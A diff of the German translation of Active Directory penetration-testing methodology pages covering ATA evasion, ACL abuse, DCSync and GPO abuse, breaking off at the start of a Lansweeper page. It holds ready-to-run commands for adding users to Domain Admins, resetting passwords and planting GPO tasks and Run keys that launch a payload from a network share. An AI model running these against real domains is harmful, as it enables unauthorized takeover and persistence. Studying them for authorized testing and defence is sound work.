- **Für Benutzerobjekte**: Verdächtige Indikatoren sind untypische ObjectSID, seltene Logons, Erstellungsdaten und geringe Counts für falsche Passworteingaben.
- **Allgemeine Indikatoren**: Das Vergleichen von Attributen potenzieller Decoy-Objekte mit echten Objekten kann Inkonsistenzen aufdecken. Tools wie [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) können bei der Identifizierung solcher Deceptions helfen.
+- **For User Objects**: Verdächtige Indikatoren umfassen untypische ObjectSID, seltene Logons, Erstellungsdaten und geringe Counts bei falschen Passworteingaben.
+- **General Indicators**: Der Vergleich von Attributen potenzieller Decoy-Objekte mit echten Objekten kann Inkonsistenzen aufdecken. Tools wie [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) können bei der Identifizierung solcher Deceptions unterstützen.

-### **Umgehung von Erkennungssystemen**
+### **Bypassing Detection Systems**

 - **Microsoft ATA Detection Bypass**:
- **User Enumeration**: Vermeidung der Session-Enumeration auf Domain Controllers, um ATA-Detektion zu verhindern.
- **Ticket Impersonation**: Die Verwendung von **aes**-Schlüsseln zur Erstellung von Tickets hilft, die Detektion zu umgehen, indem kein Downgrade auf NTLM erfolgt.
- **DCSync Angriffe**: Ausführung von einem Nicht-Domain Controller wird empfohlen, um ATA-Detektion zu vermeiden, da direkte Ausführung von einem Domain Controller Alarme auslöst.
+- **User Enumeration**: Vermeiden der Session-Enumeration auf Domain Controllers, um ATA-Erkennung zu verhindern.
+- **Ticket Impersonation**: Die Nutzung von **aes**-Schlüsseln zur Ticket-Erstellung hilft, die Erkennung zu umgehen, indem ein Downgrade zu NTLM vermieden wird.
+- **DCSync Attacks**: Es wird empfohlen, DCSync nicht von einem Domain Controller auszuführen, um ATA-Erkennung zu vermeiden, da eine direkte Ausführung auf einem Domain Controller Alarmmeldungen auslösen würde.

-## References
+## Referenzen

 - [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
 - [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -2,7 +2,7 @@

 {{#include ../../../banners/hacktricks-training.md}}

-**Diese Seite ist hauptsächlich eine Zusammenfassung der Techniken aus** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **und** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Für weitere Details siehe die Originalartikel.**
+**Diese Seite ist hauptsächlich eine Zusammenfassung der Techniken aus** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **und** [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Für mehr Details siehe die Originalartikel.**

 ## BadSuccessor

@ -11,32 +11,32 @@
 BadSuccessor.md
 {{#endref}}

-## **GenericAll-Rechte auf Benutzer**
+## **GenericAll-Rechte an einem Benutzer**

-Dieses Privileg gewährt einem Angreifer die volle Kontrolle über ein Ziel-Benutzerkonto. Sobald `GenericAll`-Rechte mit dem Befehl `Get-ObjectAcl` bestätigt sind, kann ein Angreifer:
+Dieses Recht gewährt einem Angreifer volle Kontrolle über ein Ziel-Benutzerkonto. Sobald `GenericAll`-Rechte mit dem Befehl `Get-ObjectAcl` bestätigt wurden, kann ein Angreifer:

 - **Ändern des Passworts des Ziels**: Mit `net user <username> <password> /domain` kann der Angreifer das Passwort des Benutzers zurücksetzen.
- **Targeted Kerberoasting**: Weise dem Benutzerkonto einen SPN zu, um es kerberoastable zu machen, und verwende dann Rubeus und targetedKerberoast.py, um die Ticket-Granting-Ticket (TGT) Hashes zu extrahieren und zu versuchen, sie zu knacken.
+- **Targeted Kerberoasting**: Weise dem Benutzerkonto einen SPN zu, um es kerberoastable zu machen, und nutze dann Rubeus und targetedKerberoast.py, um die ticket-granting ticket (TGT) hashes zu extrahieren und zu versuchen, sie zu knacken.
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Targeted ASREPRoasting**: Deaktivieren Sie pre-authentication für den Benutzer, wodurch dessen Konto für ASREPRoasting anfällig wird.
+- **Targeted ASREPRoasting**: Deaktiviere pre-authentication für den Benutzer und mache dessen Konto für ASREPRoasting angreifbar.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
 ## **GenericAll-Rechte an einer Gruppe**

-Dieses Privileg ermöglicht einem Angreifer, Gruppenmitgliedschaften zu manipulieren, wenn er `GenericAll`-Rechte an einer Gruppe wie `Domain Admins` hat. Nachdem er den Distinguished Name der Gruppe mit `Get-NetGroup` ermittelt hat, kann der Angreifer:
+Dieses Privileg ermöglicht einem Angreifer, Gruppenmitgliedschaften zu manipulieren, wenn er `GenericAll`-Rechte an einer Gruppe wie `Domain Admins` besitzt. Nachdem der Angreifer den distinguished name (DN) der Gruppe mit `Get-NetGroup` identifiziert hat, kann er:

- **Sich selbst zur `Domain Admins`-Gruppe hinzufügen**: Dies kann über direkte Befehle oder mithilfe von Modulen wie Active Directory oder PowerSploit erfolgen.
+- **Sich selbst zur `Domain Admins`-Gruppe hinzufügen**: Dies kann über direkte Befehle oder durch die Verwendung von Modulen wie Active Directory oder PowerSploit erfolgen.
 ```bash
 net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
- Von Linux aus kannst du auch BloodyAD verwenden, um dich selbst zu beliebigen Gruppen hinzuzufügen, wenn du GenericAll/Write-Mitgliedschaft über sie hast. Wenn die Zielgruppe in „Remote Management Users“ verschachtelt ist, erhältst du sofort WinRM-Zugriff auf Hosts, die diese Gruppe berücksichtigen:
+Unter Linux kannst du BloodyAD verwenden, um dich selbst zu beliebigen Gruppen hinzuzufügen, sofern du über GenericAll/Write-Mitgliedschaft an ihnen verfügst. Ist die Zielgruppe in „Remote Management Users“ verschachtelt, erhältst du sofort WinRM-Zugriff auf Hosts, die diese Gruppe berücksichtigen:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -46,7 +46,7 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
 ```
 ## **GenericAll / GenericWrite / Write on Computer/User**

-Wenn diese Privilegien auf einem Computerobjekt oder einem Benutzerkonto vorhanden sind, erlauben sie:
+Wenn man diese Privilegien auf einem Computerobjekt oder einem Benutzerkonto besitzt, ermöglicht das:

 - **Kerberos Resource-based Constrained Delegation**: Ermöglicht die Übernahme eines Computerobjekts.
 - **Shadow Credentials**: Mit dieser Technik kann man sich als Computer- oder Benutzerkonto ausgeben, indem man die Privilegien ausnutzt, um Shadow Credentials zu erstellen.
@ -55,26 +55,26 @@ Wenn diese Privilegien auf einem Computerobjekt oder einem Benutzerkonto vorhand

 Wenn ein Benutzer `WriteProperty`-Rechte auf alle Objekte einer bestimmten Gruppe (z. B. `Domain Admins`) hat, kann er:

- **Sich selbst zur Domain Admins Group hinzufügen**: Erreichbar durch Kombination der Befehle `net user` und `Add-NetGroupUser`, ermöglicht diese Methode eine Privilegieneskalation innerhalb der Domain.
+- **Add Themselves to the Domain Admins Group**: Dies lässt sich durch die Kombination der Befehle `net user` und `Add-NetGroupUser` erreichen; diese Methode ermöglicht eine Privilegieneskalation innerhalb der Domain.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Self (Self-Membership) on Group**

-Dieses Privileg ermöglicht es Angreifern, sich selbst zu bestimmten Gruppen wie `Domain Admins` hinzuzufügen, indem sie Befehle verwenden, die die Gruppenmitgliedschaft direkt manipulieren. Mit der folgenden Befehlssequenz kann man sich selbst hinzufügen:
+Dieses Privileg ermöglicht Angreifern, sich selbst zu bestimmten Gruppen hinzuzufügen, wie z. B. `Domain Admins`, mittels Befehlen, die die Gruppenmitgliedschaft direkt manipulieren. Mit der folgenden Befehlssequenz kann man sich selbst hinzufügen:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Eine ähnliche Berechtigung, sie erlaubt Angreifern, sich direkt zu Gruppen hinzuzufügen, indem sie Gruppenattribute ändern, sofern sie das Recht `WriteProperty` auf diesen Gruppen besitzen. Die Bestätigung und Ausführung dieser Berechtigung erfolgen mit:
+Ein ähnliches Recht ermöglicht es Angreifern, sich direkt zu Gruppen hinzuzufügen, indem sie die Gruppenattribute ändern, sofern sie das `WriteProperty`-Recht auf diesen Gruppen besitzen. Die Bestätigung und Ausführung dieses Rechts erfolgen mit:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Wenn man das `ExtendedRight` an einem Benutzer für `User-Force-Change-Password` hat, ermöglicht dies das Zurücksetzen des Passworts, ohne das aktuelle Passwort zu kennen. Die Überprüfung dieses Rechts und dessen Ausnutzung kann über PowerShell oder alternative Kommandozeilentools erfolgen und bietet mehrere Methoden, das Passwort eines Benutzers zurückzusetzen, einschließlich interactive sessions und one-liners für non-interactive Umgebungen. Die Befehle reichen von einfachen PowerShell-Aufrufen bis zur Verwendung von `rpcclient` unter Linux und zeigen die Vielseitigkeit der attack vectors.
+Das Halten des `ExtendedRight` an einem Benutzer für `User-Force-Change-Password` ermöglicht das Zurücksetzen des Passworts, ohne das aktuelle Passwort zu kennen. Die Überprüfung dieses Rechts und dessen Ausnutzung kann über PowerShell oder alternative Kommandozeilentools erfolgen und bietet mehrere Methoden, das Passwort eines Benutzers zurückzusetzen, einschließlich interaktiver Sitzungen und Einzeilern für nicht-interaktive Umgebungen. Die Befehle reichen von einfachen PowerShell-Aufrufen bis zur Verwendung von `rpcclient` unter Linux und verdeutlichen die Vielseitigkeit der Angriffsvektoren.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -87,21 +87,21 @@ rpcclient -U KnownUsername 10.10.10.192
 ```
 ## **WriteOwner an einer Gruppe**

-Wenn ein Angreifer feststellt, dass er über eine Gruppe `WriteOwner`-Rechte besitzt, kann er die Eigentümerschaft der Gruppe auf sich selbst ändern. Dies ist besonders wirkungsvoll, wenn es sich bei der betreffenden Gruppe um `Domain Admins` handelt, da eine Änderung des Eigentümers eine weitergehende Kontrolle über Gruppenattribute und Mitgliedschaften ermöglicht. Der Vorgang umfasst das Identifizieren des korrekten Objekts mittels `Get-ObjectAcl` und anschließend die Verwendung von `Set-DomainObjectOwner`, um den Eigentümer entweder per SID oder per Name zu ändern.
+Wenn ein Angreifer feststellt, dass er über eine Gruppe `WriteOwner`-Rechte besitzt, kann er die Eigentümerschaft der Gruppe auf sich selbst ändern. Dies ist besonders folgenreich, wenn es sich bei der betreffenden Gruppe um `Domain Admins` handelt, da das Ändern des Eigentümers eine weitreichendere Kontrolle über Gruppenattribute und Mitgliedschaften ermöglicht. Der Vorgang umfasst das Identifizieren des richtigen Objekts mittels `Get-ObjectAcl` und anschließend die Verwendung von `Set-DomainObjectOwner`, um den Eigentümer entweder per SID oder per Namen zu ändern.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
 Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
-## **GenericWrite auf Benutzer**
+## **GenericWrite on User**

-Diese Berechtigung erlaubt einem Angreifer, Benutzerattribute zu ändern. Konkret kann der Angreifer mit `GenericWrite`-Zugriff den Pfad des Anmeldeskripts eines Benutzers ändern, um bei der Benutzeranmeldung ein bösartiges Skript auszuführen. Dies wird erreicht, indem der `Set-ADObject`-Befehl verwendet wird, um die Eigenschaft `scriptpath` des Zielbenutzers so zu aktualisieren, dass sie auf das Skript des Angreifers zeigt.
+Diese Berechtigung erlaubt einem Angreifer, Benutzerattribute zu verändern. Konkret kann ein Angreifer mit `GenericWrite`-Zugriff den Pfad des Logon-Skripts eines Benutzers ändern, um beim Benutzer-Logon ein bösartiges Skript auszuführen. Dies wird erreicht, indem der Befehl `Set-ADObject` verwendet wird, um die Eigenschaft `scriptpath` des Zielbenutzers so zu aktualisieren, dass sie auf das Skript des Angreifers zeigt.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
-## **GenericWrite on Group
+## **GenericWrite on Group**

-Mit diesem Privileg können Angreifer die Gruppenmitgliedschaft manipulieren, z. B. sich selbst oder andere Benutzer zu bestimmten Gruppen hinzufügen. Dieser Prozess beinhaltet das Erstellen eines credential object, dessen Verwendung, um Benutzer einer Gruppe hinzuzufügen oder zu entfernen, und die Überprüfung der Mitgliedschaftsänderungen mit PowerShell-Befehlen.
+Mit diesem Privileg können Angreifer die Gruppenmitgliedschaft manipulieren, z. B. sich selbst oder andere Benutzer zu bestimmten Gruppen hinzufügen. Dieser Vorgang umfasst das Erstellen eines credential object, dessen Verwendung zum Hinzufügen oder Entfernen von Benutzern aus einer Gruppe sowie die Überprüfung der Mitgliedschaftsänderungen mit PowerShell-Befehlen.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -111,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use
 ```
 ## **WriteDACL + WriteOwner**

-Wenn ein Angreifer ein AD-Objekt besitzt und `WriteDACL`-Berechtigungen darauf hat, kann er sich `GenericAll`-Berechtigungen für das Objekt gewähren. Dies wird durch ADSI-Manipulation erreicht, wodurch volle Kontrolle über das Objekt und die Möglichkeit entsteht, seine Gruppenmitgliedschaften zu ändern. Trotzdem bestehen Einschränkungen beim Versuch, diese Berechtigungen mit den `Set-Acl` / `Get-Acl`-Cmdlets des Active Directory-Moduls auszunutzen.
+Wenn ein Angreifer ein AD-Objekt besitzt und über `WriteDACL`-Berechtigungen darauf verfügt, kann er sich selbst `GenericAll`-Rechte für dieses Objekt gewähren. Dies wird durch ADSI-Manipulation erreicht, wodurch vollständige Kontrolle über das Objekt und die Möglichkeit, dessen Gruppenmitgliedschaften zu ändern, entsteht. Dennoch gibt es Einschränkungen beim Versuch, diese Berechtigungen mit den `Set-Acl`-/`Get-Acl`-Cmdlets des Active Directory-Moduls auszunutzen.
 ```bash
 $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
 $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
@ -119,64 +119,64 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
 $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
 $ADSI.psbase.commitchanges()
 ```
-## **Replikation in der Domain (DCSync)**
+## **Replikation in der Domäne (DCSync)**

-Der DCSync-Angriff nutzt spezifische Replikationsberechtigungen in der Domain, um einen Domain Controller zu imitieren und Daten zu synchronisieren, einschließlich Benutzeranmeldeinformationen. Diese mächtige Technik erfordert Berechtigungen wie `DS-Replication-Get-Changes` und ermöglicht Angreifern, sensible Informationen aus der AD-Umgebung zu extrahieren, ohne direkten Zugriff auf einen Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
+Der DCSync-Angriff nutzt spezifische Replikationsberechtigungen in der Domäne, um einen Domain Controller zu imitieren und Daten, einschließlich Benutzeranmeldeinformationen, zu synchronisieren. Diese mächtige Technik erfordert Berechtigungen wie `DS-Replication-Get-Changes` und ermöglicht es Angreifern, sensible Informationen aus der AD-Umgebung zu extrahieren, ohne direkten Zugriff auf einen Domain Controller zu haben. [**Learn more about the DCSync attack here.**](../dcsync.md)

 ## GPO-Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>

 ### GPO-Delegation

-Delegierter Zugriff zur Verwaltung von Gruppenrichtlinienobjekten (GPOs) kann erhebliche Sicherheitsrisiken darstellen. Wenn einem Benutzer wie `offense\spotless` GPO-Verwaltungsrechte delegiert werden, kann dieser Privilegien wie **WriteProperty**, **WriteDacl** und **WriteOwner** besitzen. Diese Berechtigungen können zu böswilligen Zwecken missbraucht werden, wie mit PowerView identifiziert: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Delegierter Zugriff zur Verwaltung von Group Policy Objects (GPOs) kann erhebliche Sicherheitsrisiken darstellen. Wenn einem Benutzer wie `offense\spotless` z. B. Rechte zur GPO-Verwaltung delegiert werden, kann er Privilegien wie **WriteProperty**, **WriteDacl** und **WriteOwner** besitzen. Diese Berechtigungen können für bösartige Zwecke missbraucht werden, wie mit PowerView erkannt: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

 ### GPO-Berechtigungen auflisten

-Um falsch konfigurierte GPOs zu identifizieren, können die Cmdlets von PowerSploit verkettet werden. Dadurch lässt sich entdecken, welche GPOs ein bestimmter Benutzer verwalten darf: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
+Um fehlkonfigurierte GPOs zu identifizieren, können die Cmdlets von PowerSploit miteinander verknüpft werden. Damit lassen sich GPOs finden, die ein bestimmter Benutzer verwalten darf: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`

-**Computer, auf die eine bestimmte Richtlinie angewendet wird**: Es ist möglich zu ermitteln, auf welche Computer ein bestimmtes GPO angewendet wird, was hilft, den möglichen Einflussbereich zu verstehen. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
+**Computer, auf die eine bestimmte Richtlinie angewendet wird**: Es ist möglich zu ermitteln, auf welche Computer eine bestimmte GPO angewendet wird, um den Umfang des potenziellen Einflusses zu verstehen. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`

-**Auf einen bestimmten Computer angewendete Richtlinien**: Um zu sehen, welche Richtlinien auf einen bestimmten Computer angewendet werden, können Befehle wie `Get-DomainGPO` verwendet werden.
+**Richtlinien, die auf einen bestimmten Computer angewendet werden**: Um zu sehen, welche Richtlinien auf einem bestimmten Computer angewendet sind, können Befehle wie `Get-DomainGPO` verwendet werden.

-**OUs, auf die eine bestimmte Richtlinie angewendet ist**: Die Identifizierung der Organisationseinheiten (OUs), die von einer Richtlinie betroffen sind, kann mit `Get-DomainOU` erfolgen.
+**OUs, auf die eine bestimmte Richtlinie angewendet wird**: Das Identifizieren von Organizational Units (OUs), die von einer bestimmten Richtlinie betroffen sind, kann mit `Get-DomainOU` erfolgen.

-Sie können auch das Tool [**GPOHound**](https://github.com/cogiceo/GPOHound) verwenden, um GPOs zu enumerieren und Probleme darin zu finden.
+Sie können auch das Tool [**GPOHound**](https://github.com/cogiceo/GPOHound) verwenden, um GPOs aufzulisten und darin enthaltene Probleme zu finden.

-### Missbrauch von GPOs - New-GPOImmediateTask
+### GPO missbrauchen - New-GPOImmediateTask

-Fehlkonfigurierte GPOs können ausgenutzt werden, um Code auszuführen, zum Beispiel durch das Erstellen einer sofortigen geplanten Aufgabe. Dadurch kann ein Benutzer der lokalen Administratorgruppe auf betroffenen Maschinen hinzugefügt werden, was die Privilegien erheblich erhöht:
+Fehlkonfigurierte GPOs können ausgenutzt werden, um Code auszuführen, z. B. durch das Erstellen einer sofort ausgeführten geplanten Aufgabe. Damit kann ein Benutzer zur lokalen Administratorgruppe auf betroffenen Maschinen hinzugefügt werden, wodurch Privilegien erheblich erhöht werden:
 ```bash
 New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
 ```
 ### GroupPolicy module - Abuse GPO

-Das GroupPolicy module, falls installiert, ermöglicht die Erstellung und Verknüpfung neuer GPOs sowie das Setzen von Preferences wie registry values, um backdoors auf betroffenen Computern auszuführen. Diese Methode erfordert, dass das GPO aktualisiert wird und ein Benutzer sich am Computer anmeldet, damit die Ausführung erfolgt:
+Das GroupPolicy module, falls installiert, ermöglicht die Erstellung und Verknüpfung neuer GPOs sowie das Setzen von preferences wie registry values, um backdoors auf betroffenen Computern auszuführen. Diese Methode erfordert, dass das GPO aktualisiert wird und ein Benutzer sich am Computer anmeldet, damit die Ausführung erfolgt:
 ```bash
 New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
 Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
 ```
 ### SharpGPOAbuse - Abuse GPO

-SharpGPOAbuse bietet eine Methode, vorhandene GPOs zu missbrauchen, indem Aufgaben hinzugefügt oder Einstellungen geändert werden, ohne neue GPOs erstellen zu müssen. Dieses Tool erfordert die Änderung bestehender GPOs oder die Verwendung von RSAT-Tools, um neue zu erstellen, bevor Änderungen angewendet werden:
+SharpGPOAbuse bietet eine Methode, vorhandene GPOs zu missbrauchen, indem Aufgaben hinzugefügt oder Einstellungen geändert werden, ohne neue GPOs erstellen zu müssen. Dieses Tool erfordert die Modifikation vorhandener GPOs oder die Verwendung von RSAT-Tools, um neue zu erstellen, bevor Änderungen angewendet werden:
 ```bash
 .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
 ```
 ### Richtlinienaktualisierung erzwingen

-GPO-Aktualisierungen erfolgen in der Regel etwa alle 90 Minuten. Um diesen Prozess zu beschleunigen, insbesondere nach einer Änderung, kann auf dem Zielrechner der Befehl `gpupdate /force` verwendet werden, um eine sofortige Richtlinienaktualisierung zu erzwingen. Dieser Befehl stellt sicher, dass Änderungen an GPOs angewendet werden, ohne auf den nächsten automatischen Aktualisierungszyklus zu warten.
+GPO-Updates erfolgen typischerweise etwa alle 90 Minuten. Um diesen Prozess zu beschleunigen — insbesondere nach einer Änderung — kann auf dem Zielrechner der Befehl `gpupdate /force` verwendet werden, um ein sofortiges Anwenden der Richtlinien zu erzwingen. Dieser Befehl stellt sicher, dass Änderungen an GPOs angewendet werden, ohne auf den nächsten automatischen Aktualisierungszyklus zu warten.

 ### Unter der Haube

-Bei der Überprüfung der Scheduled Tasks für eine bestimmte GPO, wie der `Misconfigured Policy`, lässt sich die Hinzufügung von Tasks wie `evilTask` feststellen. Diese Tasks werden durch Skripte oder Kommandozeilentools erstellt und zielen darauf ab, das Systemverhalten zu ändern oder Privilegien zu eskalieren.
+Bei der Überprüfung der Scheduled Tasks für eine bestimmte GPO, wie z. B. `Misconfigured Policy`, lässt sich die Hinzufügung von Tasks wie `evilTask` bestätigen. Diese Tasks werden durch Skripte oder Kommandozeilentools erstellt und zielen darauf ab, Systemverhalten zu ändern oder Privilegien zu eskalieren.

-Die Struktur des Tasks, wie sie in der von `New-GPOImmediateTask` erzeugten XML-Konfigurationsdatei dargestellt ist, zeigt die Details des geplanten Tasks — einschließlich des auszuführenden Befehls und seiner Trigger. Diese Datei zeigt, wie Scheduled Tasks innerhalb von GPOs definiert und verwaltet werden und bietet eine Möglichkeit, beliebige Befehle oder Skripte im Rahmen der Durchsetzung von Richtlinien auszuführen.
+Die Struktur des Tasks, wie sie in der XML-Konfigurationsdatei gezeigt wird, die von `New-GPOImmediateTask` erzeugt wurde, beschreibt die Details des geplanten Tasks — einschließlich des auszuführenden Befehls und seiner Trigger. Diese Datei zeigt, wie Scheduled Tasks innerhalb von GPOs definiert und verwaltet werden und bietet eine Methode, beliebige Befehle oder Skripte im Rahmen der Richtliniendurchsetzung auszuführen.

 ### Benutzer und Gruppen

-GPOs erlauben außerdem die Manipulation von Benutzer- und Gruppenmitgliedschaften auf Zielsystemen. Durch direkte Bearbeitung der Users and Groups-Policy-Dateien können Angreifer Benutzer zu privilegierten Gruppen hinzufügen, wie etwa der lokalen `administrators`-Gruppe. Dies ist durch die Delegation von GPO-Verwaltungsberechtigungen möglich, die die Änderung von Policy-Dateien zum Hinzufügen neuer Benutzer oder zur Anpassung von Gruppenmitgliedschaften zulässt.
+GPOs ermöglichen außerdem die Manipulation von Benutzer- und Gruppenmitgliedschaften auf Zielsystemen. Durch direkte Bearbeitung der Users and Groups-Policy-Dateien können Angreifer Benutzer zu privilegierten Gruppen hinzufügen, wie z. B. zur lokalen `administrators`-Gruppe. Dies ist durch die Delegation von GPO-Verwaltungsberechtigungen möglich, welche die Änderung von Policy-Dateien erlauben, um neue Benutzer hinzuzufügen oder Gruppenmitgliedschaften zu ändern.

-Die XML-Konfigurationsdatei für Users and Groups beschreibt, wie diese Änderungen umgesetzt werden. Durch das Hinzufügen von Einträgen in diese Datei können bestimmte Benutzer erhöhte Rechte auf den betroffenen Systemen erhalten. Diese Methode bietet einen direkten Weg zur Privilegieneskalation durch GPO-Manipulation.
+Die XML-Konfigurationsdatei für Users and Groups beschreibt, wie diese Änderungen umgesetzt werden. Durch das Hinzufügen von Einträgen in diese Datei können bestimmten Benutzern erhöhte Rechte über die betroffenen Systeme hinweg gewährt werden. Diese Methode bietet einen direkten Weg zur Privilegieneskalation durch GPO-Manipulation.

-Außerdem können weitere Methoden zum Ausführen von Code oder zur Aufrechterhaltung von Persistenz in Betracht gezogen werden, wie etwa das Verwenden von logon/logoff-Skripten, das Ändern von Registryschlüsseln für Autoruns, die Installation von Software über .msi-Dateien oder das Bearbeiten von Service-Konfigurationen. Diese Techniken bieten verschiedene Wege, um durch Missbrauch von GPOs Zugang zu erhalten und Zielsysteme zu kontrollieren.
+Darüber hinaus können auch weitere Methoden zum Ausführen von Code oder zur Aufrechterhaltung von Persistenz in Betracht gezogen werden, wie z. B. die Nutzung von Anmelde-/Abmelde-Skripten, das Ändern von Registry-Schlüsseln für Autoruns, die Installation von Software über .msi-Dateien oder die Bearbeitung von Dienstkonfigurationen. Diese Techniken bieten verschiedene Wege, über die Missbrauch von GPOs Zugriff zu erhalten und Zielsysteme zu kontrollieren.

 ## Referenzen

--- a/src/windows-hardening/active-directory-methodology/lansweeper-security.md
+++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md
@ -1,28 +1,28 @@
-# Lansweeper-Missbrauch: Credential Harvesting, Secrets Decryption, and Deployment RCE
+# Lansweeper Missbrauch: Credential Harvesting, Secrets Decryption und Deployment RCE

 {{#include ../../banners/hacktricks-training.md}}

-Lansweeper ist eine Plattform zur IT‑Asset-Erkennung und Inventarisierung, die häufig auf Windows betrieben und in Active Directory integriert wird. In Lansweeper konfigurierte Anmeldedaten werden von seinen Scanning-Engines verwendet, um sich gegenüber Assets über Protokolle wie SSH, SMB/WMI und WinRM zu authentifizieren. Fehlkonfigurationen erlauben häufig:
+Lansweeper ist eine IT-Asset-Discovery- und Inventarisierungsplattform, die häufig auf Windows bereitgestellt und in Active Directory integriert wird. Anmeldeinformationen, die in Lansweeper konfiguriert sind, werden von seinen Scanning-Engines verwendet, um sich gegenüber Assets über Protokolle wie SSH, SMB/WMI und WinRM zu authentifizieren. Fehlkonfigurationen ermöglichen häufig:

- Abfangen von Anmeldedaten durch Umleitung eines Scanning Targets zu einem vom Angreifer kontrollierten Host (honeypot)
+- Abfangen von Anmeldeinformationen durch Umleiten eines Scanning Targets auf einen von Angreifern kontrollierten Host (honeypot)
 - Missbrauch von AD ACLs, die durch Lansweeper-bezogene Gruppen offengelegt werden, um Remotezugriff zu erlangen
- On‑Host‑Entschlüsselung der in Lansweeper konfigurierten Secrets (Connection Strings und gespeicherte Scanning-Credentials)
- Codeausführung auf verwalteten Endpunkten über die Deployment-Funktion (läuft oft als SYSTEM)
+- On-Host-Entschlüsselung der in Lansweeper konfigurierten secrets (connection strings und gespeicherte Scanning Credentials)
+- Code-Ausführung auf verwalteten Endpunkten über die Deployment-Funktion (läuft häufig als SYSTEM)

-Diese Seite fasst praktische Angreifer‑Workflows und Befehle zusammen, um dieses Verhalten während Engagements auszunutzen.
